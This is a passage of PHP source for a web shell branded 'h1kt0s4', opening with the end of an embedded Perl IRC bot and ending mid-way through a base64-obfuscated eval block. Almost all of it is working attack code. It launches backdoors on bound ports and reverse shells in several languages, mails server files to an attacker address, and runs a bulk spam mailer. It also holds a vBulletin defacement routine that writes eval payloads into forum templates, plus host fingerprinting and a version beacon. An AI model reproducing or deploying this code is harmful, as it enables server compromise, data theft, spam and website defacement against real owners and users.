my \$status = \$DCC{\$socket}{status};
\$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
my \$d_time = \$ftime-\$itime;
my \$cur_byte = \$DCC{\$socket}{curbyte};
my \$bytes_total = \$DCC{\$socket}{bytes};
my \$rate = 0;
\$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
my \$porcen = (\$cur_byte*100)/\$bytes_total;
my (\$r_duv, \$p_duv);
if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$r_duv = $3; \$r_duv++ if $4 >= 5;
\$rate = \"$1\.$2\".\"\$r_duv\";
}
if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
\$p_duv = $3; \$p_duv++ if $4 >= 5;
\$porcen = \"$1\.$2\".\"\$p_duv\";
}
return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
}
return(0);
}
# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
my (\$address) = @_;
chomp \$address; # just in case, sigh.
if (\$address =~ /^\d+$/) {
return inet_ntoa(pack \"N\", \$address);
} elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return \$address;
} elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname(\$address))[4])[0]);
} else {
return;
}
}
############################
";
$bot = "/tmp/ircs.pl";
$open = fopen($bot,"w");
fputs($open,$file);
fclose($open);
$cmd="perl $bot";
$cmd2="rm $bot";
system($cmd);
system($cmd2);
$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
}
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
echo $head;
echo '</head>';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
@readfile ("http://127.0.0.1/version.php?version=".$current_version."");}}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Webdings size=10><b>!</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN
style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
<SPAN
style="FONT-SIZE: 20pt; COLOR: red; FONT-FAMILY: Impact">h1kt0s4</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>home</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?xp title=\"".$lang[$language.'_text555']."\"><b>Cpanel</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uploadds title=\"".$lang[$language.'_text50']."\"><b>upload-2</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?scriptt title=\"".$lang[$language.'_text995']."\"><b>edit index vb</b></a> ".$rb;
echo "<br>".ws(2)."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpproxy title=\"".$lang[$language.'_text959']."\"><b>php proxy</b></a> ".$rb;
if($unix)
{
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?zone title=\"".$lang[$language.'_text955']."\"><b>zone</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?milr title=\"".$lang[$language.'_text551']."\"><b>Mailer</b></a> ".$rb;
}
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "MYSQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions: <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";
echo "</b><br>".ws(2);
echo "Register globals: <b>";
$reg_g = @ini_get("register_globals");
if($reg_g){
echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "open_basedir: <b>";
$openbasedi = @ini_get("open_basedir");
if($openbasedi){
echo "<font color=red>ON</font>"; } else { echo "<font color=#008000>OFF</font>"; }
echo "</b>".ws(2);
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=#cccccc><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=tahoma size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br>";
echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
{
if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
else
{
$filename = @basename($_POST['loc_file']);
$filedump = @fread($file,@filesize($_POST['loc_file']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = 'file from h1kt0s4 shell'; }
if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']="";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
{
switch($_POST['what'])
{
case 'own':
@chown($_POST['param1'],$_POST['param2']);
break;
case 'grp':
@chgrp($_POST['param1'],$_POST['param2']);
break;
case 'mod':
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
{
switch($_POST['what'])
{
case 'file':
if($_POST['action'] == "create")
{
if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
else {
fclose($file);
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']="edit_file";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
}
}
else if($_POST['action'] == "delete")
{
if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
case 'dir':
if($_POST['action'] == "create"){
if(mkdir($_POST['mk_name']))
{
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
}
else if($_POST['action'] == "delete"){
if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
{
if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
else {
echo $table_up3;
echo $font;
echo "<form name=save_file method=post>";
echo ws(3)."<b>".$_POST['e_name']."</b>";
echo "<div align=center><textarea name=e_text cols=121 rows=24>";
echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
fclose($file);
echo "</textarea>";
echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=hidden name=cmd value=save_file>";
echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
echo "</div>";
echo "</font>";
echo "</form>";
echo "</td></tr></table>";
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
{
$mtime = @filemtime($_POST['e_name']);
if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
@fwrite($file,$_POST['e_text']);
@touch($_POST['e_name'],$mtime,$mtime);
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="ps -aux | grep bd";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
{
cf("/tmp/prxpl",$prx_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
$_POST['cmd']="ps -aux | grep prxpl";
}
if (!empty($_POST['port1']))
{
cf("bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./bds ".$_POST['port1']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./tmp/bds ".$_POST['port1']." &");
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C1"))
{
cf("bind",$backdoor);
$blah = ex("chmod 777 bind");
$blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bind",$backdoor);
$blah = ex("chmod 777 bind");
$blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &");
}
if (!empty($_POST['php_ini1']))
{
cf("php.ini",$php_ini1);
$_POST['cmd']=" ?????? ????? ??? php.ini ?? ??? ???";
}
if (!empty($_POST['htacces']))
{
cf(".htaccess",$htacces);
$_POST['cmd']="To stop manufacturing Skjorti htaccess Been laying file";
}
if (!empty($_POST['file_ini']))
{
cf("ini.php",$sni_res);
$_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt?Read ss variable ini.php ";
}
if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
{
$data = implode("", file($_POST['filefrom']));
$fp = fopen($_POST['fileto'], "wb");
fputs($fp, $data);
$ok = fclose($fp);
if($ok)
{
$size = filesize($_POST['fileto'])/1024;
$sizef = sprintf("%.2f", $size);
print "<center><div id=logostrip>Download - OK.(".$sizef."??)</div></center>";
}
else
{
print "<center><div id=logostrip>Something is wrong. Download - IS NOT
OK</div></center>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
cf("/tmp/bdpl",$port_bind_bd_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
$_POST['cmd']="ps -aux | grep bdpl";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex("perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\"";
}
if (!empty($_POST['ips']) && !empty($_POST['ports']) && ($_POST['use']=="perl"))
{
cf("/tmp/backs",$back_connects);
$p2=which("perl");
$blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
cf("/tmp/back.c",$back_connect_c);
$blah = ex("gcc -o /tmp/backc /tmp/back.c");
@unlink("/tmp/back.c");
$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/dp",$datapipe_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
$_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="py"))
{
cf("/tmp/backpy",$back_python);
$p5=which("python");
$blah = ex("python /tmp/backpy ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect python ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php2"))
{
cf("/tmp/back2.php",$backdoor_php);
$d6=which("php");
$blah = ex("php /tmp/back2.php ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php1"))
{
cf("/tmp/back1.php",$backdoor_php1);
$d6=which("php");
$blah = ex("php /tmp/back1.php ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\"";
}
if(isset($_GET['milr']))
{
$secure = "";
error_reporting(0);
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lod=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
@set_time_limit(intval($_POST['timelimit']));
if ($action=="send")
{
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
echo "<table width='100%' height='72' border='0' id='Box'>
<tr>
<td width='14' height='21' style='background-color:#666'> </td>
<td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td>
</tr>
<tr>
<td height='45' colspan='2'>
<table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr>
<b><font color=#990000 size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/>
<table width=142 border=0>
<tr>
<td width=81>
<div align=right>
<sy>Your Email:</sy></div></td>
<td width=219><sy>
<input type=text name=\"from\" value=".$from."></sy></td><td width=212>
<div align=right>
<sy>Your Name:</sy></div></td><td width=278>
<sy>
<input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81>
<div align=\"right\">
<sy>Reply-To:</sy></div></td><td width=219>
<sy>
<input type=\"text\" name=\"replyto\" value=".$replyto.">
</sy></td><td width=212>
<div align=\"right\">
<sy>Attach File:</sy></div></td><td width=278>
<sy>
<input type=\"file\" name=\"file\" size=24 />
</sy> </td></tr><tr><td width=81>
<div align=\"right\">
<sy>Subject:</sy></div></td>
<td colspan=3 width=703>
<sy>
<input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520>
<sy>Message Box :</sy></td>
<td width=278>
<sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy>
<textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br />
<input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain
<input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML
<input type=\"hidden\" name=\"action\" value=\"send\" /><br />
Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br />
Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 />
<input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278>
<sy>
<textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr>
</table>
</td>
</tr>
</table>";
if ($action=="send")
{
if (!$from && !$subject && !$message && !$emaillist)
{
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$head ="From: Mailr" ;
$sub = "Ar - $lod" ;
$meg = "$lod" ;
mail ($alt,$sub,$meg,$head) ;
If ($file_name)
{
if (!file_exists($file))
{
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++)
{
for($x=0; $x<$numemails; $x++)
{
$to = $allemails[$x];
if ($to)
{
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.....";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK<br>";
flush();
}
}
}
}
echo "
<html>
<head>
<style>
BODY
{
FONT-FAMILY: Verdana;
margin: 2;
color: #cccccc;
background-color: #000000;
}
sy
{
color:".$shellColor.";
font-size:7pt;
font-weight: bold;
}
#Box
{
color:".$shellColor.";
font-size:14px;
background-color:#000;
font-weight:bold;
}
tr
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #ffffff;
}
td
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #cccccc;
}
.table1
{
BORDER: 1px none;
BACKGROUND-COLOR: #000000;
color: #333333
}
.td1
{
BORDER: 1px none;
color: #ffffff; font-style:normal;
font-variant:normal;
font-weight:normal;
font-size:7pt;
font-family:tahoma
}
.tr1
{
BORDER: 1px none;
color: #cccccc;
}
table
{
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input
{
BORDER-RIGHT: ".$shellColor." 1px solid;
BORDER-TOP: ".$shellColor." 1px solid;
BORDER-LEFT: ".$shellColor." 1px solid;
BORDER-BOTTOM: ".$shellColor." 1px solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit
{
BORDER: 1px outset buttonhighlight;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #333333;
color: #ffffff;
}
";
$shellColor = '#990000';
}
if(isset($_GET['phpproxy']))
{
cf("proxy.php",$phpproxy);
$_POST['cmd'] == "proxy.php was created";
}
if(isset($_GET['scriptt'])){echo $head; echo "
<title>Vbulletin Deface</title>
<style type='text/css'>
.style1 {
color: #FFFFFF;
}
.style2 {
font-family: Arial;
color: #FFFFFF;
}
.style3 {
text-align: center;
}
.style4 {
font-family: Arial;
}
</style>
</head>
<center>
<h2 class='style1'>Vbulletin Deface</h2><div id=haberler align=left><form method=POST action=''>
<p align=center class='style1'> </p>
<div class='style3'>
<span class='style2'>Host</span><font face='Arial' color='#ffffff'>:</font><span class='style1'> <input type=text name=dbh value=localhost size='15' ></span>
<font face='Arial' color='#ffffff'> db_Name:</font><span class='style1'><input type=text name=dbn size='15' ><br>
Username</span><font face='Arial' color='#ffffff'>:</font><span class='style1'><input type=text name=dbu size='15' ></span>
<font face='Arial' color='#ffffff'> password: </font><span class='style1'><input type=text name=dbp size='16' ><br>
</span>
</div>
<center class='style1'>
<textarea name=index rows='13' cols='38' >index was Here!';</textarea></center>
<center class='style1'><input type=submit value='Deface It!!!' ></form></center></center></body>
</center>
</html>";
$h4cker="[Edited] by h1kt0s4";
if (!empty($_POST['dbh']) && !empty($_POST['dbn']) && !empty($_POST['dbu']) && !empty($_POST['index']))
{
$dbh = $_POST['dbh'];
$dbn = $_POST['dbn'];
$dbu = $_POST['dbu'];
$dbp = $_POST['dbp'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
$set_index .= "\'))}}{\${exit()}}";
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$fatal1 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='spacer_open'";
$fatal2 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='FORUMHOME'";
$fatal3 = "UPDATE style SET css='".$set_index."".$h4cker."', stylevars='', csscolors='', editorstyles=''";
$result = mysql_query($fatal1) or die (mysql_error());
$result2 = mysql_query($fatal2) or die (mysql_error());
$result3 = mysql_query($fatal3) or die (mysql_error());
if ($result && $result2 && $result3) {
echo "Ok ..";
}
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();}
# Footer
if(isset($_GET['xp']))
{
eval(base64_decode('aWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8
IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsn
UEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6
IEJhc2ljIHJlYWxtPSIwZGF5LmNvbSInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRo
b3JpemVkJyk7CiAgIGV4aXQoIjxiPldyb25nIHVzZXIgb3IgcGFzcyAhITwvYj4iKTsKICAgfQp9
CgokY29ubmVjdF90aW1lb3V0PTU7CnNldF90aW1lX2xpbWl0KDApOwokc3VibWl0PSRfUkVRVUVT
VFsnc3VibWl0J107CiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107CiRwYXNzPSRfUkVRVUVTVFsn
